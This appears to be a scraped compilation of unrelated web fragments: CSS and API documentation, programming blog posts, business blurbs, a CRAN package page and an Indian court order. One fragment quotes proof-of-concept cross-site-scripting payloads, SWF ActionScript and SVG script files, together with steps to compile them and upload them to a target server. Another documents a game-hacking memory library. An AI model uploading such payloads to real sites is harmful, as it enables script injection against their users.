Core
The core module contains basic reset and fix rules, based on Normalize.css v5.0.0, along with lots of custom typography rules. Most textual HTML5 elements are styled by this module, so you can start writing your pages immediately without worrying about font families, weights, sizes, line heights, paddings and the like.
All examples showcased refer to the mini-default flavor, some class names and styles might differ based on the flavor you're using.
Quick overview
Before applying any typography and styling rules, some resets need to be applied to make sure that different elements display consistently on all browsers. The core module utilizes the ruleset of Normalize.css v5.0.0 to apply those much needed resets and fixes. However, to keep the framework small, we removed some rules that only help with legacy browser support and also tweaked a lot of the rules around to use customizable variables so no duplicate rules are applied, taking up unnecessary space. The typography rules in core deal with a page's basics, like fonts and styling of headings and paragraphs, horizontal rules, colors, margins, padding etc.
Quick start
To use the core module, simply include the link to the flavor you are using and start writing your HTML page as usual. One suggestion we will make is to add the following line inside your HTML page's
to utilize the viewport meta tag:
<meta name="viewport" content="width=device-width, initial-scale=1">
Typography
For the basic typography rules we did the following, along with other things presented below:
- We use a native font stack to figure out the best font for your device.
- We set the colors to
background: #f5f5f5;
andcolor: #212121;
. - We use a
font-size
of16px
for the root element. - We set
line-height
to1.5
.
Headings
Heading 1Subheading
Heading 2Subheading
Heading 3Subheading
Heading 4Subheading
Heading 5Subheading
Heading 6Subheading
All six of the HTML headings (

-

) are styled with simple rules, providing a clean base for your pages' headings. Apart from the headings themselves, complementary rules are provided for
elements inside headings, allowing you to define subheadings or explanatory text for those headings. These subheadings are stylized to display below the headings in smaller, lighter type.
Sample code

Heading 1Subheading

Heading 2Subheading

Heading 3Subheading

Heading 4Subheading

Heading 5Subheading

Heading 6Subheading

Common textual elements
This is a paragraph with some sample text. Did you know mini.css v2.1 is codenamed Fermion? No? Well, now you do! Oh, by the way, that was some Bold text and here is some text in Italics. Maybe you want to know what our inline elements look like. For example a link to the Github repository of mini.css looks like that! Neat, right? Maybe you want to see some inline code
or some sample input. Oh, also small text is cool, along with its siblings: the subscripthi! and the superscripthello!. Finally, check out the horizontal rule, preformatted code block and quotation below.
function sum(num1, num2) { var num3 = num1 + num2; console.log('Result: ' + num3); }
This is some quoted text from elsewhere.
The most common HTML5 elements must be things like

aragraphs, bold (
) & italics (
) text, links (
), horizontal rules (

) and
text. These, along with a few others, are styled by default using clean, modern design to make your pages look cool and stand out from the rest of the internet.
Sample code

This is a paragraph with some bold text and some italics text.
 This is a link. This is some small text. Subscript Superscript Inline code Keyboard Input

This is some preformatted text.

 This is some quoted text from another website or person.

Lists
- Apple
- Orange
- Strawberry
- Wake up
- Eat breakfast
- Go to work
Lists are also very commonly used in websites and apps. We tweaked a few margins and paddings to save some space and make them align properly with the rest of the common HTML elements that we use, but both unordered lists (

) and ordered lists (

) are minimally pre-styled to make things a little bit easier for you.
Sample code

Apple

Orange

Strawberry

Wake up

Eat breakfast

Go to work

Image responsiveness & captions
Image elements (
) are responsive by default, without the need for any special classes or anything else. We made sure they will scale down as necessary to display properly on smaller devices, while keeping their original aspect ratio, but they will never scale up above their original size.
On a side note, if you want to add captions to images, you can use a

element, while wrapping both the image and it inside a

.
Sample code

Image caption

If you want to learn more about mini.css's modules, go back to the modules page and choose another module to see its documentation.


pandas.Series.loc¶
Access a group of rows and columns by label(s) or a boolean array.
.loc[]
is primarily label based, but may also be used with a boolean array.Allowed inputs are:
A single label, e.g.
5
or'a'
, (note that5
is interpreted as a label of the index, and never as an integer position along the index).A list or array of labels, e.g.
['a', 'b', 'c']
.A slice object with labels, e.g.
'a':'f'
.Warning
Note that contrary to usual python slices, both the start and the stop are included
A boolean array of the same length as the axis being sliced, e.g.
[True, False, True]
.A
callable
function with one argument (the calling Series or DataFrame) and that returns valid output for indexing (one of the above)See more at Selection by Label
Raises¶
- KeyError:
when any items are not found


We deliver unique and bespoke interiors for residential clients throughout Sydney. Our design aesthetic is both fresh, layered, vibrant and most of all versatile. Pattern, colour and texture play an important role in creating a beautiful and inviting interior. With a love of many different design influences we are able to mould and change the visual aesthetic to suit each home and our client's lifestyle.
Offering both an interior design and decoration service we are able to consult on all aspects involved in creating a particular style within the home. From hard finishes to soft furnishings and everything in between we can create cohesive and practical living spaces for our clients. Having completed numerous projects in the Eastern suburbs, Sutherland Shire, and Inner West of Sydney our services are far reaching and not limited to one particular area of Sydney.
With an extensive background in design and decoration, owner and creative director Kathryn delivers beautiful and functional homes specialising in quality and comfort. Working with some of Sydney's finest and highly skilled tradespeople, builders and artisans Kathryn is able to produce outstanding and visually striking interiors. On previous projects Kathryn has developed close working relationships with her clients, helping them realise the potential of their home. From the initial consultation to installing the design elements the process is collaborative, creative and well planned to even the smallest of details. Understanding her client's lifestyle and personality is one of the most important parts of the design process.


Class PhysicalConstants
Provides physical constants.
Inheritance
Namespace: Lapis.Math.Measurement
Assembly: Lapis.Math.Measurement.dll
Syntax
public static class PhysicalConstants : Object
Properties
c
Gets the Quantity that represents the speed of light in vacuum (c).
Declaration
public static Quantity c { get; }
Property Value
| Type | Description |
|---|---|
| Quantity | The Quantity that represents the speed of light in vacuum (c), that is, 2.99792458e8 m/s. |
e
Gets the Quantity that represents the elementary charge (e).
Declaration
public static Quantity e { get; }
Property Value
| Type | Description |
|---|---|
| Quantity | The Quantity that represents the elementary charge (e), that is, 1.602176565e-19 C. |
epsilon0
Gets the Quantity that represents the vacuum permittivity (ε0).
Declaration
public static Quantity epsilon0 { get; }
Property Value
| Type | Description |
|---|---|
| Quantity | The Quantity that represents the vacuum permittivity (ε0), that is, 8.85418781762e-12 F/m. |
G
Gets the Quantity that represents the gravitational constant (G).
Declaration
public static Quantity G { get; }
Property Value
| Type | Description |
|---|---|
| Quantity | The Quantity that represents the gravitational constant (G), that is, 6.67384e-11 m^3kg^-1s^-2. |
h
Gets the Quantity that represents the Planck constant (h).
Declaration
public static Quantity h { get; }
Property Value
| Type | Description |
|---|---|
| Quantity | The Quantity that represents the Planck constant (h), that is, 6.62606957e-34 J*s. |
kB
Gets the Quantity that represents the Boltzmann constant (kB).
Declaration
public static Quantity kB { get; }
Property Value
| Type | Description |
|---|---|
| Quantity | The Quantity that represents the Boltzmann constant (kB), that is, 1.3806488e-23 J/K. |
mu0
Gets the Quantity that represents the vacuum permeability (μ0).
Declaration
public static Quantity mu0 { get; }
Property Value
| Type | Description |
|---|---|
| Quantity | The Quantity that represents the vacuum permeability (μ0), that is, 4π1e-7 N/A^2. |
NA
Gets the Quantity that represents the Avogadro constant (NA).
Declaration
public static Quantity NA { get; }
Property Value
| Type | Description |
|---|---|
| Quantity | The Quantity that represents the Avogadro constant (NA), that is, 6.02214129e23 mol^-1. |
R
Gets the Quantity that represents the ideal gas constant (R).
Declaration
public static Quantity R { get; }
Property Value
| Type | Description |
|---|---|
| Quantity | The Quantity that represents the ideal gas constant (R), that is, 8.3144621 J/(mol*K). |


Provides a version of the client-side of the MEKON remote access mechanisms with XML-based serialisation format.


#include <minix/syslib.h>
#include <minix/drivers.h>
#include <machine/int86.h>
#include "vbe.h"
#include "lmlib.h"
#include "utils.h"
Go to the source code of this file.
|
| int | vbe_get_mode_info (unsigned short mode, vbe_mode_info_t *vmi_p) |
| | Returns information on the input VBE mode, including screen dimensions, color depth and VRAM physical address. More...
|
| |
| uint16_t * | vbe_get_information (vbe_information_block_t *controller_info) |
| |
◆ LINEAR_MODEL_BIT
| #define LINEAR_MODEL_BIT 14 |
Definition at line 8 of file vbe.c.
◆ PB2BASE
| #define PB2BASE |
( |
|
x | ) |
(((x) >> 4) & 0x0F000) |
Definition at line 10 of file vbe.c.
◆ PB2OFF
| #define PB2OFF |
( |
|
x | ) |
((x) & 0x0FFFF) |
Definition at line 11 of file vbe.c.
◆ vbe_get_information()
| uint16_t* vbe_get_information |
( |
vbe_information_block_t * |
controller_info | ) |
|
Definition at line 53 of file vbe.c.
◆ vbe_get_mode_info()
| int vbe_get_mode_info |
( |
unsigned short |
mode, |
|
|
vbe_mode_info_t * |
vmi_p |
|
) |
| |
Returns information on the input VBE mode, including screen dimensions, color depth and VRAM physical address.
Initializes unpacked vbe_mode__info_t structure passed as an address with the information of the input mode, by calling VBE function 0x01 Return VBE Mode Information and unpacking the ModeInfoBlock struct returned by that function.
- Parameters
-
| mode | mode whose information should be returned |
| vmi_p | address of vbe_mode_info_t structure to be initialized |
- Returns
- 0 on success, non-zero otherwise
Definition at line 13 of file vbe.c.


Contouring
Below is a sample gallery of maps generated using Geo-F/X's propietary contouring algorithms.
A couple of examples of generating maps of stroked vectors using USGS data from Mt. St. Helens.
A simple example of generating a two-dimensional map and filling the closed contours with color.
A simple example of a TIN (triangular irregular networks) mesh generated from a set of X/Y points.
A three-demsional contour map of a part of the southern Sierra Nevada.


https://github.com/MMquant/PayloadsAllTheThings/tree/master/XSS%20injection
Create XSS vulnerability via SWF file upload
Payload is created with ActionScript containing JavaScript which is compiled into swf file.
This file is uploaded and when parsed by browser it executes containing javascript.
ActionScript2 code
class XSS {
static var app: XSS;
function XSS() {
var xss = "javascript:alert(\"SWF-based XSS: \"+document.
domain)";
getURL(xss, "_self");
}
static function main(mc) {
app = new XSS();
}}
Compile to swf with /root/Programs/mtasc/mtasc
mtasc -swf swfxss.swf -main -header 0:0:0 swfxss.as
Upload swfxss.swf to target server
Create XSS vulnerability via SVG file upload
SVG is XML file
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400" />
<script type="text/javascript">
alert(document.domain);
</script>
</svg>


[1]
None. Better options available; Poor after sale service,
[2]
less failure rate; bit slow interface
[3]
good hard drive; none i can see


This document is designed to be viewed using frames. If you see this message, you are using a non-frame-capable browser. Link to Non-frame version.


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|
|||||||
Glosa VocabularyThe Glosa words are taken from Latin and Greek. So they are known to many people by foreign words or by the Roman languages. A limitated vocabulary (Glosa 1000 or Centra Glosa), easy to learn for beginners, should satisfy for all day situations. For higher demands (science, art, poetry) an extension (Glosa 6000 or Mega Glosa) is available. To offer a central vocabulary is a good idea and a strength of the Glosa design. Unfortunately the many Glosa-1000-lists (you can find some of them below) differ from each other. The Glosa Internet Dictionary (GID) is a project, that tries to bring together all the existing vocabulary material. English
The Central list by the Glosa authors Ashby/Clark gives an English cognate to each Glosa 1000 word. So it affords an insight into the design of the Glosa words and makes vocabulary learning quite easy. Kevin Smith has some vocabulary stuff on his site www.qualitycode.com/glosa/index.html, mainly based on the files above, partly experimental. This site will probably be removed soon, so if the link is dead, please click here to see a copy. Español/Castellano (Spanish)See below "Word Kitchen" for more information about these files. And here there is also a little machine-translated list Glosa-Spanish of an older version of the GID. Translation-programs always cause funny nonsense, so this file could only be a base for future work, but please do not use it without the English version and not without thinking. Please prefer the English lists of GID above, if it is possible for you. Deutsch (German)GID (only Centra-words) Glosa-English with German translation (machine-generated) of the English words: gid_de.htm (1.3 MB). Files based on the list of the book “Deutsch - Glosa 1000” (a little enhanced, but expired): Glosa-Deutsch, Deutsch-Glosa. Français (French)Daniel Macouin has assembled a printable version of these files. See below
"Word Kitchen"
for more information about these files. Italiano (Italian)Here there is a little machine-translated list Glosa-Italian of an older version of the GID-Centra. Translation-programs always cause funny nonsense, so this file could only be a base for future work, but please do not use it without the English version and not without thinking. Ruski (Russian)
Glosa 1000 - Ruski. Another Russian word list is on Kevin Smith's Glosa site. Please prefer the English lists of GID above, if it is possible for you. SwahiliThere is a printed version of "Glosa 1000" available. When you are interested, please contact Glosa author Wendy Ashby (Glosa Education Organisation, 35 Wingfield Road; Kingston Upon Thames; Surrey KT2 5LR; ENGLAND). Sorry, no online-version available yet. Zhongguo-lingua (Chinese) Please visit the site of Prof.
Liu Haitao
(or click here for a
copy)
for a Chinese translation of the Glosa 1000 wordlist. The Word KitchenOnly for specialists, nothing for people afraid of problems: gidhist.htm with further information to the GID and its history, missing words (perhaps this file is not up-to-date), synonyms in Core (perhaps this file is not up-to-date), Similar Synonyms (with solution suggestions of Glosa author Wendy Ashby), a "Word Derivation Scheme". Some changes have been made to the Central list (see above). For those with historical interest the original central list could be found here.
French: Spanish: Marcel Springer, www.glosa.org, last modified 2012-08-12. |


File this under "things that are obvious in retrospect". I got to wondering if it's possible to recursively call a closure in Elixir. The answer is of course, yes, but with a small caveat. You simply have to pass the function (so it can't be truly anonymous) as an argument so it can be used as a callback.
Consider the following pathetic first attempt:
lol = fn 0 -> 0 x -> x + lol.(x - 1) end IO.puts lol.(100)
Looks good, right? Not quite...
seshbaugh ~% elixir lol.exs ** (CompileError) /Users/seshbaugh/lol.exs:3: function lol/0 undefined src/elixir_translator.erl:463: :elixir_translator.translate_each/2 src/elixir_translator.erl:613: :elixir_translator.translate_arg/2 lists.erl:1339: :lists.mapfoldl/3 lists.erl:1340: :lists.mapfoldl/3 src/elixir_translator.erl:620: :elixir_translator.translate_args/2 src/elixir_translator.erl:80: :elixir_translator.translate_each/2 lists.erl:1339: :lists.mapfoldl/3
The closure has no idea what we're talking about. Which shouldn't really come as a surprise, we're still in the middle of defining the value of lol
(that's my understanding as of right now, if I discover that I'm right for the wrong reason I will be sure to update this post). If we want to call lol
from within itself we have to pass a reference to it to itself, like so:
lol = fn _, 0 -> 0 lol, x -> x + lol.(lol, x - 1) end IO.puts lol.(lol, 100)
This time around we pass lol
has an argument to itself. In the first function clause the callback is ignored (since its purpose is to halt the recursion) and in the second one we use call it, with itself as the first argument again. Now when we run this we get the expected output:
seshbaugh ~% elixir lol.exs 5050
I'm not sure if this is really all that useful, since you could (and probably should) use defp
in your modules to define private functions that aren't available outside the module. But it never hurts to know what's possible!


Class FormAbstract
final public
|
|
abstract public
|
|
public
array
|
|
public
|
#
addElement(
adds an element to this form |
public
string
|
|
public
stdClass
|
|
public
|
|
public
|
|
public
string
|
|
public
string
|
|
public
|
|
public
string
|
|
public
|
|
public
|
protected
array
|
$formElements | array() |
#
the form elements |
protected
string
|
$action | '' |
#
the form action value |
protected
string
|
$method | 'post' |
#
the form method value |
protected
stdClass
|
$attributes | null |
#
the forms additional attributes |
protected
|
$checkErrors | null |
#
the check error instance |


Annotation Query Format
An annotation is an event that is overlaid on top of graphs. The query can have up to four columns per row, the time or time_sec column is mandatory. Annotation rendering is expensive so it is important to limit the number of rows returned. - column with alias: time or time_sec for the annotation event time. Use epoch time or any native date data type. - column with alias: timeend for the annotation event end time. Use epoch time or any native date data type. - column with alias: text for the annotation text - column with alias: tags for annotation tags. This is a comma separated string of tags e.g. 'tag1,tag2' Macros: - $__time(column) -> UNIX_TIMESTAMP(column) as time (or as time_sec) - $__timeEpoch(column) -> UNIX_TIMESTAMP(column) as time (or as time_sec) - $__timeFilter(column) -> column BETWEEN FROM_UNIXTIME(1492750877) AND FROM_UNIXTIME(1492750877) - $__unixEpochFilter(column) -> time_unix_epoch ><PHONE_NUMBER> AND time_unix_epoch <<PHONE_NUMBER> - $__unixEpochNanoFilter(column) -> column >=<PHONE_NUMBER>152415214 AND column <=<PHONE_NUMBER>142514872 Or build your own conditionals using these macros which just return the values: - $__timeFrom() -> FROM_UNIXTIME(1492750877) - $__timeTo() -> FROM_UNIXTIME(1492750877) - $__unixEpochFrom() -><PHONE_NUMBER> - $__unixEpochTo() -><PHONE_NUMBER> - $__unixEpochNanoFrom() -><PHONE_NUMBER>152415214 - $__unixEpochNanoTo() -><PHONE_NUMBER>142514872


class LanguagesResponseHandler
Handles responses for language routes.
This class is likely used as a responsepath to a dvspage field.
Methods
|
__construct(Redirector $Redirect, LanguagesManager $Manager)
Construct new response handler |
||
| Redirect |
requestPatchLanguage(integer $id, array $input)
Patch a language's active flag |
Details
at line 32
public
__construct(Redirector $Redirect, LanguagesManager $Manager)
Construct new response handler
at line 45
public Redirect
requestPatchLanguage(integer $id, array $input)
Patch a language's active flag


Security Dashboard
$admin
Logout
Authorization Policies
Group Management
API-Key Management
API-Key Management
Use this console to manage API-Keys of the users
Show All
First Name
Last Name
Username
API-Key
Action


Plugin Information |
|---|
No information for the plugin 'blitz_io-jenkins' is available. It may have been removed from distribution. |
Blitz.io Plugin
This plugin allows you to run web load tests from the cloud using Blitz.io.
Installation
1. go to /pluginManager/advanced, hit 'check now' button to get all the latest updates from update center.
2. go to /pluginManager/available, find the 'Blitz.io Plugin' under 'External Site/Tool Integrations' section, then install it.
3. after installation is done, you should be able to see 'Blitz.io Plugin' in /pluginManager/installed (you may need to restart Jenkins if necessary)
Enter Blitz.io Account Info
1. go to /configure, find the Blitz.io section, then enter your blitz.io account user ID and API key. If you don't have a blitz.io account yet, you can register one here , it's free!
Run Blitz.io Tests After Build
1. go to your job's configure page, such as /job/blitz.io%20plugin/configure, in the 'Post-build Actions', check the 'Blitz.io' box.
2. if you want to run a sprint test, check the 'Sprint' box, then enter the command and the response time threshold.
3. if you want to run a rush test, check the 'Rush' box, then enter the command and the error rate threshold.
4. hit the 'Save' button
Note: you may only blitz urls that are reachable from the public web, so please don't enter "localhost", "intranet links" etc in the command line.
Interpret Blitz.io Test Results
1. after your job's build is done, click into that build, you will see a 'Blitz.io' link on the left hand side.
2. click the 'Blitz.io' section, you will see the Sprint or/and Rush Results
3. your build will be marked as 'success' if all the tests passed, otherwise it will be marked as 'failure'
Attachments:
blitz.io installed.png (image/png)
blitz.io build.png (image/png)
blitz.io build.png (image/png)
blitz.io sprint result.png (image/png)
blitz.io rush result.png (image/png)
blitz.io build.png (image/png)
blitz.io build config.png (image/png)


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|
CasualLibrary
C++ library to help avoid annoying tasks and ensure fast program development regarding game hacking.
|
#include <Memory.h>
Public Member Functions | |
| Memory (std::string proc) | |
| template<typename T > | |
| T | read (uintptr_t addToBeRead) |
| std::string | readString (uintptr_t addToBeRead, size_t size=0) |
| template<typename Z > | |
| Z | write (uintptr_t addToWrite, Z valToWrite) |
| DWORD | getProcessID () |
| returns process id of the target process | |
| uintptr_t | getModule (const wchar_t *modName) |
returns the module base address of modName (example: "client.dll") | |
| uintptr_t | getAddress (uintptr_t addr, std::vector< uintptr_t > vect) |
| bool | memoryCompare (const BYTE *bData, const BYTE *bMask, const char *szMask) noexcept |
| uintptr_t | findSignatureAddress (uintptr_t start, size_t size, const char *signature, const char *mask) noexcept |
Serves as communicator between your application and the games memory.


Using Experimental Go Generics
Overview
There are at least two experimental implementations of Go that add generics (see note 1). I experimented with
albrow/fo. I don’t know enough to classify the approached used by fo
,
but in simple terms, both type declarations and functions/methods are extended to take optional type parameters
I performed the experiment by porting some of the algorithms in
floyernick/Data-Structures-and-Algorithms
. These data structures and algorithms are all written
using integers and the Go developer
is expected to copy/paste/modify in order to use them for something other than integers.
Here is an example of reversing the elements of a slice in the generic form:
func reverseArray[T](a []T) {
i := 0
u := len(a) - 1
for i < u {
a[i], a[u] = a[u], a[i]
i, u = i+1, u-1
}
}
Notice that type parameters are listed between square brackets and the
placeholder T
, is used in the function.
Then to use it, you supply the actual type at the calling location:
ia := []int{1,2,3}
reverseArray[int](ia)
Again, notice the [int]
after the function name, which specifies that T will be
an integer in this case. To use a string slice instead:
reverseArray[string](ia)
This package has a number of limitations at present, but it is active and provides enough to experiment. The syntax used is, to borrow a math term, topologically equivalent to many other approaches. By this I mean, they all share many of the same pros and cons.
My experiments are in repo mandolyte/fo-experiments.
Summary
On the positive side, the syntax was easy to understand and use. I was able to work-around
pretty easily all the issues I found. Since the package translates the fo
code to go
code,
I did not get a feel for how compile times might be affected by this approach. The translated Go
code is saved and you can take a look if you wish.
The two issues I found are common to other approaches and have been discussed in detail elsewhere. I found it valuable to encounter them in concrete ways.
The first issue is error handling. The common Go idiom is to return two values with the second value holding a boolean or an error object (or nil if no error). Thus, for boolean cases:
return 0, false // integers
return "", false // for strings
return 0.0, false // for floats
return nil, false // for structs
Since there is no Go keyword that represents the zero value for all types, the generic code
cannot sensibly use this two-value return method.
One solution might be to expand nil
or introduce a new keyword to represent a generic zero-value.
Then, if a type was numeric, it might replace nil with zero. Of if a
string, with “”. Of course, if the type was a struct, then nil
works fine.
The second issue is operator overloading. Without overloading, the generic code cannot use equality or inequalify operators. However, since Go has anonymous functions, the user can write functions that perform the comparison and supply them to the generic code to use. This approach works rather well and simplifies expressing how to compare two (x,y) pairs (a Point type). Given my experience doing it this way, I think Go generics can easily live without operator overloading.
See my repo for other examples which include:
- a circular buffer (i.e., a ring)
- a function to revers the elements in a slice
- a double linked list
- serveral slice search methods (linear, binary, and ternary)
Finally, here is a complete working example of a Bubble Sort, where the generic function is used for integers, floating point numbers, and strings.
package main
import "fmt"
func bubbleSort[T](gt func(T,T) bool, array []T) {
swapCount := 1
for swapCount > 0 {
swapCount = 0
for itemIndex := 0; itemIndex < len(array)-1; itemIndex++ {
//if array[itemIndex] > array[itemIndex+1] {
if gt(array[itemIndex], array[itemIndex+1]) {
array[itemIndex], array[itemIndex+1] = array[itemIndex+1], array[itemIndex]
swapCount += 1
}
}
}
}
func main() {
ia := []int{4,2,3}
gti := func(x,y int) bool { return x > y }
bubbleSort[int](gti, ia)
fmt.Println(ia)
sa := []string{"z", "b", "c"}
gts := func(x,y string) bool { return x > y }
bubbleSort[string](gts, sa)
fmt.Println(sa)
ra := []float64{4.4, 2.2, 3.3}
gtf := func(x,y float64) bool { return x > y }
bubbleSort[float64](gtf, ra)
fmt.Println(ra)
}
(1) The other is cosmo72/gomacro


Mission
Eugo is the first local bike sharing startup founded in Sweden, summer 2018.
We are exploring smart and clean mobility solutions, while bringing you convenience and enjoyment.
Traffic does not necessariy mean emissions and congestions. Let's go biking, go healthy and go green.


Apollo Web Studio: The service that covers all your Web Development, App Programming, SEO, Social Media, and other Marketing needs to grow your business and give you a professional edge over your competition.


OsmAnd development plugin is only necessary for developers. It allows you to simulate navigation routes, check screen rendering performance, etc.
If you need to check how the routes are built, how voice guidance works, etc., you need to go to the dashboard, find Simulate your position card and tap Start simulation. You'll be able to either build a new route by selecting Simulate using calculated route or use a GPX track for that.
To simulate a navigation route, you'll need to calculate a route first and then use this option.
If you select the GPX variant, you'll be able to pick a track to follow.
You can set which functions of the plugin you need. To do that, please go to Settings - Plugins - OsmAnd development and select Settings. There, you'll have the choice to turn on the display of rendering information which will give you a popup with that information every time the map is being rendered, several navigation options, you'll also be able to test voice prompts. Also, you'll see the 'Use magnetic value' option and some information that might be helpful.


An S4 implementation of Eq. (3) and Eq. (7) by David J. Hand and Robert J. Till (2001) <doi:10.1023/A:1010920819831>.
| Version: | 0.2-12 |
| Depends: | R (≥ 2.14), methods, utils |
| Suggests: | MASS, rpart, mda, nnet |
| Published: | 2016-05-31 |
| Author: | Andreas Dominik Cullmann [aut, cre], Edgar Kublin [ctb] |
| Maintainer: | Andreas Dominik Cullmann <r-package_handtill2001 at arcor.de> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | https://github.com/fvafrCU/HandTill2001 |
| NeedsCompilation: | no |
| CRAN checks: | HandTill2001 results |
| Reference manual: | HandTill2001.pdf |
| Vignettes: |
Consenus models weighted by multiclass AUC |
| Package source: | HandTill2001_0.2-12.tar.gz |
| Windows binaries: | r-devel: HandTill2001_0.2-12.zip, r-release: HandTill2001_0.2-12.zip, r-oldrel: HandTill2001_0.2-12.zip |
| OS X binaries: | r-release: HandTill2001_0.2-12.tgz, r-oldrel: HandTill2001_0.2-12.tgz |
| Old sources: | HandTill2001 archive |
| Reverse imports: | ModelMap |
Please use the canonical form https://CRAN.R-project.org/package=HandTill2001 to link to this page.


Make a crystal ball program that predicts the future.
The program generates a random number from 1 to 5
The crystal ball should give you a response:
1 - You are on the right track.
2 - Danger is near.
3 - Luck will find you.
4 - You are about to make a mistake.
5 - Your future is unclear.


Try out our Premium Member services: Virtual Legal Assistant, Query Alert Service and an ad-free experience. Free for one month and pay only if you like it.
1 S.B.CIVIL WRIT PETITION NO.4276/2006. Prem Kanwar Vs. State of Rajasthan & Ors. ... S.B.CIVIL WRIT PETITION NO.4275/2006. Prem Kanwar Vs. State of Rajasthan & Ors. ... Date of Order :: 26th November 2008. HON'BLE MR. JUSTICE DINESH MAHESHWARI Mr. N.L.Joshi, for the petitioner. Mr. B.L.Choudhary, for the respondents. ..... BY THE COURT:
These two writ petitions were heard together for having been preferred by the defendant against the same order dated 26.07.2006 as passed by the Civil Judge (Junior Division) Rajgarh, District Churu in Civil Suit No.36/2006 whereby the application for amendment of the plaint as moved by the plaintiffs-respondents has been allowed and an application moved by the petitioner for rejection of plaint has been disallowed; and are taken up for disposal by this common order.
The respondents-plaintiffs Paramveer Singh and Bhani Singh have filed a suit for mandatory and perpetual injunction raising complaint against establishment of a brick kiln by the petitioner-defendant No.1 Smt.Prem Kanwar while joining the State of Rajasthan through the Collector, Churu, the Project Officer, District Industries Centre, Churu, the Director, Pollution Control Board, Bichhwal, Bikaner, the Mining Engineer, Mines & Geology Department, Bikaner and the 2 Superintending Engineer, Apani Yojana, Churu as the defendants Nos. 2 to 6 respectively. The plaintiffs averred in the plaint that the petitioner-defendant No.1 intended to establish a brick kiln on an agricultural land comprised in khasra No.652/632 situated at village Chainpura Bada, Tehsil Rajgarh District Churu; that the kiln was required to be established only after obtaining the licence from the defendant No.3, the permission from the defendant No.4, and the land use conversion order from the defendant No.2. It has been alleged that the kiln was sought to be established only at distance of 500 metres from the abadi of the village Chainpura Bada and under the rules, permission to establish such a kiln cannot be given within 1.5 kms. of the abadi area. The plaintiffs have further stated various circumstances wherefor the kiln would result in causing pollution, inconvenience and injury to them and other villagers and have alleged that its establishment at the given place would be dangerous for the inhabitants of the village. The plaintiffs have also averred that the petitioner-defendant No.1 having political clout has prevailed upon the defendants Nos. 2 to 6 to issue necessary licence, certificate and conversion orders and the defendants had illegally extended the permission for establishing the offending brick kiln. The plaintiffs have further averred that despite requests, the defendants were not refraining from establishing the said brick kiln and if commissioned, it would 3 cause serious inconvenience and injury to the plaintiffs and other villagers; and have sought perpetual and mandatory injunctions for preventing establishment and functioning of the disputed brick kiln.
It appears that in this suit, an application for temporary injunction was also moved by the plaintiffs and a Commissioner inspected the site and made his report on 22.06.2006, inter alia, to the effect that the disputed brick kiln was found commissioned and functional. The petitioner- defendant No.1 thereafter moved an application under Order VII Rule 11 of the Code of Civil Procedure ('CPC') in the suit (Annex.3 in CWP No.4276/2006) with the submissions that the offices of the defendants Nos.2, 3, and 6 were situated at different places in District Churu whereas the offices of defendants Nos.4 and 5 were situated at different places in Bikaner and the defendant No.1 was the resident of village Chainpura Bada Tehsil Rajgarh; hence, according to the petitioner, for the defendants being situated at different places, the plaintiffs were not having a joint cause of action against them and the plaint was required to be rejected on this count alone. It was further submitted that all the proceedings related to issuance of licence for the disputed kiln have either taken place or were to take place at Bikaner and hence, the suit was not of the jurisdiction of the Court at Rajgarh. The petitioner further submitted that the main relief in the suit was for 4 preventing commissioning of the disputed kiln and the plaint was presented on 19.06.2006, whereas it was clear from the report of the Commissioner as made on 22.06.2006 that the kiln had already been established and commissioned and for this reason also, the plaint was required to be rejected. The petitioner submitted yet further that the requisite conversion order was issued on 29.03.2006 and kiln was established in accordance with the rules; and the plaint was required to be required because plaintiffs have not challenged the order of conversion in appropriate proceedings.
The plaintiffs, while resisting the aforesaid application moved by the petitioner under Order VII Rule 11 CPC and while maintaining that the plaint was not liable to be rejected, moved an application under Order VI Rule 17 CPC (Annex.3 in CWP No.4275/2006) seeking to amend the plaint. The plaintiffs submitted in this application for amendment that at the time of presentation of the plaint, the defendant had obtained the conversion order and provisional licence for establishing the kiln but the plaintiffs were not aware of such documents; that after filing of the suit, the defendant No.1 commissioned the kiln with hectic efforts before site inspection by the Commissioner; that the order regarding the land conversion was noticed by the defendants only after the averments were made to that effect in the application under Order VII Rule 11 CPC; and that in the given circumstances, it 5 had become necessary for them to seek amendment of the plaint. The plaintiffs sought amendment of the plaint so as to incorporate the averments that the defendant-petitioner got issued the order for land use conversion while using her influence and such an order was inconsequential being wholly illegal. The plaintiffs further sought permission to take the averments that the defendants had illegally commissioned the disputed kiln that was likely to cause injury and loss to the plaintiffs; and to seek the relief that by way of perpetual injunction, the defendants be required to close down the disputed kiln and to refrain from doing anything that might have adverse effect on the health of the plaintiffs and other villagers.
The learned Trial Court in its impugned order dated 26.07.2006 took up the aforesaid application for amendment for consideration at the first and observed that the plaintiffs intended to amend the plaint so as to incorporate such facts that were not in their knowledge at the time of filing of the suit and did not agree with the submissions of the petitioner that the amendment was likely to change the nature of the suit. The learned Trial Court was also of the opinion that the amendment was necessary for determination of the real questions in controversy and there had been subsequent events after filing of the suit inasmuch as, prima facie, the disputed kiln was not functional at the time of filing of the suit 6 but was found commissioned as per the Commissioner's report. The learned Trial Court, accordingly, allowed the application and permitted the amendment prayed for. The learned Trial Court thereafter proceeded to reject the application moved by the petitioner under Order VII Rule 11 CPC with the observations that situs of the defendants and accrual of cause of action against them had already been explained by the plaintiffs and the plaint was not liable to be rejected on the submission as made by the petitioner. The learned Trial Court also observed that the disputed kiln had been established within its jurisdiction and otherwise mixed questions of law and facts were involved that would be determined after evidence; but on the facts as stated by the petitioner-defendant No.1, the plaint could not be rejected under Order VII Rule 11 CPC. The order so passed by the learned Trial Court on 26.07.2006 has been challenged by way of these separate writ petitions.
